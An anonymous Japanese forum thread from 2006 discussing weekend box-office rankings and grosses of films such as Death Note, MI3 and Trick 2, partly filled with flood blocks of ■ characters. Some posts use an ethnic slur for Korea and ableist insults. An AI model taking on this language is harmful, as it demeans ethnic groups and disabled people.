■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

興収スレってキチガイばっか！！
２度とこねーよ！！

っていうか、当初からウィルスチェックがはたらくスレだったわけで、
立て直すのがいいと思うよ。
埋め立ても必死だし（ｗ　天道かな？

■荒らしもウィルスも天堂も>>577もキチガイ自身

>>550-
在日話に続いてキチガイ登場、スルーされると怒って荒らし始める毎度お馴染みの展開

>>579
「キチガイ」の定義は？　というお決まりのからかいはさておき。
ウイルスなんてまけると思う？　自作自演と同じことだけどさ。
PCの知識がありそうに見えますか？
お陰でなんとかバスター2006とかいうのを、購入してしまったよ。

なっちは嫌韓厨が嫌いでそ。
その一点だけはまともな人だなと思うけど。
すぐ在日とか言いだす嫌韓厨はうんざり。

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

>>581
＞なっちは嫌韓厨が嫌いでそ。

その通りですね。
今までのレスで、どこから韓国びいきみたいな発想が出てくるかな。
今埋め立てしてるのは、私に論破された創価学会。

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

331:名無シネマさん :2006/06/26(月) 12:29:19 ID:eTNsNvut [sage]
◇◆ＳＫ＠ランキング◆◇
�@Ｍ：Ｉ：�V先行
�Aデスノート前編→
�Bダ・ヴィンチ・コード↓
�C不撓不屈↓
�Dポセイドン↓

06/6.24(sat)〜6.25(sun)

先行ってランキングに入るの？

SKランキングってなに？

ワーナー更新されたね。
着信アリm9(^Д^)ﾌﾟｷﾞｬｰ
チョン国なんか舞台にするからだｗ

なんでも聞いてないで初心者デスノヲタは一年くらいROMれよ

話題沸騰DEATH　NOTEそのまま見せちゃいますSP　
6月26日（月） 27:33〜27:48
日本テレビ

>>593
３週興行の角川作品だし、お付き合いって感じなんじゃない？＞着アリ３

ミッション先行上映しすぎ

そりゃ、ミッションは、同時期公開のブレイブストーリーに勝ちたいんだろうね。
それに公開の翌週には、日本沈没も公開ですから、先行で稼げるだけ稼ぎたいんでしょ。

失礼ながら、MI3ってブレイブと同格の公開規模なん？
先行がないとブレイブに勝てない程度なのか？

ＭＩ２の時も先々行やってたし、ブレイブとか関係ないと思うけど。
アメリカはじめ他国ではとっくに公開されてるし。

超拡大公開だよミッション。パイレーツも

MI3は８００館以上だよ。ブレイブの敵ではない。

>>593
すみません。どこを見ればいいか教えてもらえませんか？>>ワーナー更新
初心者なもので。。。

ブレイブ10億行くのかな？

素直に調べたら先週末ランキングが出てましたがこれでしょうか？
1位 デスノート
2位 トリック劇場版２
3位 ダ･ヴィンチ･コード
4位 着信アリ　FINAL
5位 LIMIT OF LOVE　海猿

>>592
自分も気になって調べたらshizukatsuというサイトに出てるようでした。

［2006年上期ヒット商品番付（日経MJまとめ）］
【東横綱】脳を鍛えるゲーム
【西横綱】「ダ・ヴィンチ・コード」
----------
【東大関】キッズケータイ（NTTドコモ）
【西大関】携帯クレジット
----------
【東関脇】サムライブルー（W杯）
【西関脇】荒川静香の「金芽米」（トーヨーライス）
----------
【東小結】ヒートポンプ家電
【西小結】軽Car
----------
【東前頭】ブラビア（ソニー）／表参道／炭酸飲料／モーツァルト／チョコレート効果（明治製菓）／TSUBAKI（資生堂）
／ニンテンドーDS Lite（任天堂）／「国家の品格」（藤原正彦著）／男前豆腐（男前豆腐店）／こだわりビール系飲料
／えびフィレオ（日本マクドナルド）／スタイリッシュめがね／「オシャレ魔女ラブandベリー」／カーリング娘
----------
【西前頭】ワンセグ／IKEA／疲れを取る酵素／元気が出る邦画／植物性乳酸菌ラブレ（カゴメ）／冬物衣料（コートなど）
／W-ZERO3（ウィルコム）／疾病保障付き住宅ローン／雪国もやし（雪国まいたけ）／カップ地酒／スターフライヤー
／ハンパ丈パンツ／KAT-TUN／亀田三兄弟

あんなに宣伝して100億弱のダヴィンチがヒット商品横綱。。。
バカもほどほどにしろ
こういうマスコミ主導の偽情報は吐き気がする。。。

四国ワーナーならここで分かるぞ
ttp://www.shikoku-np.co.jp/cinema/ranking/

四国の興行なんてどうでもいいしｗ

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

http://www.cinemanavi.co.jp/info/last.html
色々突っ込みどころが多いなｗ

>>607
レスありがとうございます。
これは高松と宇多津の二館ランキングなのでしょうか？
自分が見たのはワーナーマイカルのトップページのやつなのですが、
つまり上記二館を含めた全国ランキングかな？？

どなたかお分かりになる方がいたら教えて頂けると嬉しいです。
よろしくお願いします。

着信それなりに入ってるな

あい〜更新
http://www.cinemanavi.co.jp/info/last.html

ｽﾏｿ、もう出てたのね・・・

不撓不屈がランクイン
あれ〜バルトつえーーーーーな

大方の予想を裏切って
バルト＞＞＞タイヨウ
タイヨウは10億微妙か。

バルトと海猿２は1.3倍の違いがあったのに、順位をひっくりかえしたのか。
バルトが９０％以上いってるってことだろうか。

バルトよくがんばった。
当たり前のようにタイヨウがバルトより上
みたいに語ってる人が多くてうざかった。

バルトは地方で頑張ったのか？
上映回数もかなり減らされてたのにな。

トリック頑張ってるな

バルトは順位変わらずで興収はどうなるのでしょう？
前週は1億3千万弱のようですが････

大方の予想じゃないよ。
タイヨウに肩入れしすぎて客観性を失ってしまった人の予想。

この間シネコンにデスノート見に行ったら中高年が多くて、バルト目当てだったよ。
やっぱり狙った客層もってるほうが強いだろう

バルトって３００館上映だから
タイヨウより上で当たり前ｗ

タイヨウってドラマ版が７月から始まるから、ドラマの番宣とかやる際に「映画も是非」と宣伝してもらえるんじゃねーの？
ので、１０億近くは行きそうな感じがする。

バルト、海猿、タイヨウは多分僅差だろうな。先週と同じ傾向
と思う。

>>672
そうなると海猿は前週２億弱のようですが今週は１億くらい？
その上の着信が１億五千万くらいで、
トリックは前週の３億→２億って感じでしょうか？

>>626
全く同じ内容を複数のスレに書き込むという初心者的バカはやめようぜ。

年配層の映画は出足が遅いし口コミも遅いぶんそれほど急落もない。
海猿はＭＩ�Vの影響をもろに受けた形かもな。裏の1位だろうし。

あーあ嫌われ松子が完全に消えちゃったｗｗ
松子大ゴケｗｗｗｗｗ

先週はランキング予想で順位を完璧に当てた人がいたけど、
今週は誰も当たらなかったね。

Mi3の影響をモロに受けるのはダヴィンチかと思ってたけど、
まだまだ粘るなあ。

サプライズと言えるのはバルト＞海猿と不撓不屈のランクインくらいだけどな。

>>632
ダビンチは別にMI3の影響で上映回数減らされたりしてねーと思うが。

ちなみに着信は韓国の最新チャートでも4位。

三億円事件は何位？

>>634
客層がかぶるかと思ってた。
確かに海猿のほうが影響大きかったろうね。

日本映画の実写が、７本かあ。すごい時代だよな。

1 デスノート 前編 ワーナー
3 トリック 劇場版２ 東宝
4 着信アリ Ｆｉｎａｌ 東宝
5 バルトの楽園 東映
6 LIMIT OF LOVE 海猿 東宝
7 タイヨウのうた 松竹
10 不撓不屈 角川ヘラルド

＞1 デスノート 前編 ワーナー

ほんとうかどうか知らないが、東宝以外の実写日本映画で１位になった
のは、東映の「ホタル」以来とか？
あの「大和」でさえできなかった偉業達成！

トリックは２０億いきそうですか？

＞3 トリック 劇場版２ 東宝

TVドラマをはさんでいるという意味では「海猿」と似ていて、私は
この手の映画が苦手。
健闘してるんじゃないんでしょうか。って、明日見にいくつもりだけど。

>>635
韓国の興収って儲かるんでしょか。
ランキングはあくまで国内のみの集計ですよね？
ってことは合わせると結構いってる？？

＞4 着信アリ Ｆｉｎａｌ 東宝

最初の週で４位というのは、現在のホラー映画を取り巻く環境を
考えると、それなりの成績だと思う。
結果は５億前後かな。
かなり前、堀北真希も出ていた「感染」「予言」の二本立てでさえ
８億でしょ。あれからさらに人気を落としているジャンルだから。
あまりに評判が悪いので逆に見たいような気も。

松子は着信アリが始まった時点でスクリーン入れ替わるから
ランキング外になるのは当たり前。

＞7 タイヨウのうた 松竹

今回のランキングの特徴は、東宝以外の実写映画が４本も入っている
こと。
このところ松竹は、コンスタントにベスト10に１作は入れられるように
なってきたけど、気を許すと「ガメラ」を作るし・・
今から「武士の一分」頼みじゃだめだよ。

>>642
＞韓国の興収って儲かるんでしょか。

客単価がかなり低いので、成績全体にはほとんど影響なし。
その代わり、いまだに岩井俊二の「Love Letter」が日本映画１位で
あるといわれるように、一種のはくにはなるかも。
アイドルとか歌手でも、アジアで異常なまでに人気が高い人がいるでしょ。

>>628
バルトとタイヨウが数字落とさずに、海猿が落としたって
感じだと思うのでやはり1億2000万前後にひしめいている
のだと思います。

＞10 不撓不屈 角川ヘラルド

角川って、以前の角川映画のイメージが強かったから、すごく斬新な
ことをしてくれるのかなあ、とか思っていたら、こんな映画を作るし。
昨年だよね、東映「燃ゆるとき」という企業映画があったけど、最も
映画を見ない中年男性をターゲットに映画を作るのは無謀。
映画はビジネスなんだから、見ない、見たくないという人に届ける
義理はない。

>>646
レスありがとうございます。
しかし５億前後だと他と比較すると厳しい感じですね？
今夏はホラーダメそうかな。

>>647
「タイヨウのうた」は善戦してるよね。まだ２週目だけど。
これが東宝なら怒るけど、あの程度の低予算映画で４週ランキングに
残ったらペイできるんじゃないかな。
ただし、これがビジネスモデルになるかは怪しいね。「NANA」のほうが
王道なのかな。

>>647
レスありがとうございます。
そうなると着信とトリックはもうちょっと上で、
着信1億５千強
トリック2億強
という感じでしょうかね？

>>648
「燃ゆるとき」は今年じゃなかったでしょうか？

でも、「県庁の星」は中年男性に人気だったから稼げたという話です。

>>649
２年前かな。J-ホラーシアターっていう６本連続の企画が、東宝から
発表されたでしょ。
「感染」には佐藤浩一、「予言」にはホラークイーン新旧コンビ、
酒井法子、堀北真希という、一流どころを配して、二本立てで臨んだ。
それが８億。
３作目が「輪廻」で、これは５億いってないでしょ。
そして、「オトシモノ」（沢尻エリカ）など続々続くんだけど、
そもそも５億いけば御の字というつもりで製作してるんでしょう。
一定レベルで保てばいいけど、底なし沼のように思えるから怖い。

それでも出資するところ有るんだから何処かに金があるんだろ

>>652
「県庁の星」は、まさしく「織田映画」なんだけども、「織田映画」
があれかい、というのが率直な印象。
彼のところには、いくらでもすばらしい企画が届いて、その中から
厳選した結果でしょ。
それが、「改革」・・。
彼は日本映画には珍しい華のある役者なんだから、本当はタンカーに
もぐって100億稼いでほしかったな。

>>645
＞気を許すと「ガメラ」を作るし・・
松竹は配給。製作は製作委員会で、製作プロが角川ヘラルド。
いつもながら適当だね。

>>653
確かに輪廻ほとんど噂聞きませんでしたね････。
それに比べると着信Fは一応自分も誘われて観に行ったので話題性はあるのかも。
内容はまあ微妙でしたが、ホラーホラーしてなかった分逆に良かったんでしょうかね。
しかしオトシモノ含めあと三作企画は逆風ですね。。

>>654
話は少しずれるけども、沢尻エリカ主演の映画が続々公開されるでしょ。
ほかにも「シュガー＆スパイス」とか。
興味ないけどTVドラマにも出ているそうだし。
長澤まさみの働き方も尋常じゃないと思うけど、それを上回っている。
で、業界では彼女の今後を危惧して、来年以降の仕事は発注していない
そうだよ。
ガセじゃないと思う。スキャンダルが出ることを恐れていて、１年先の
話など怖くてできないということみたい。それに、長澤さんと違うのは
現時点では実力・人気は評価されているが、映画での成績という意味
での実績はないでしょ。

>>658
沢尻エリってパッチギの子じゃなかったですか？
あれでやたら名前は聞いたのとあと韓国でやたら人気あると聞いたような？

>>657
オトシモノは東宝じゃない。
で、J-ホラーシアターは、東宝が降りたみたい。心配してたんだけど
現実になった。だって、これだけ逆風が吹いている中で、よりによって
次の監督は黒沢清。
勝手な映画を作ることでは、日本一だからね。東宝のように作家主義的
監督を嫌う（正確にいうと行定のようにそれを抑えさせる）会社が・・
でもさ、そういうことが許されるのが東宝のすごさだよね。
仁義なんてない（ｗ

>>658
あとすみません。興収の数字ってどこが一番早く更新されるのでしょうか？
興行収入を見守るサイトはまだ更新されていないようなのですが。

>>660
東宝降りたんですか。。。
黒沢清の映画は前に見ましたが自分は理解できませんでした････。
確かコユキが出てるやつでしたが。

>>655
彼はアクション付きの作品はもう肉体的に出来ないんじゃないの
大掛りな大作やるとしてもキャリア側の役しか出来ないんじゃ

>>661
この人に尋ねても無駄無駄。
「床屋談義」にしか興味がない。

>>630
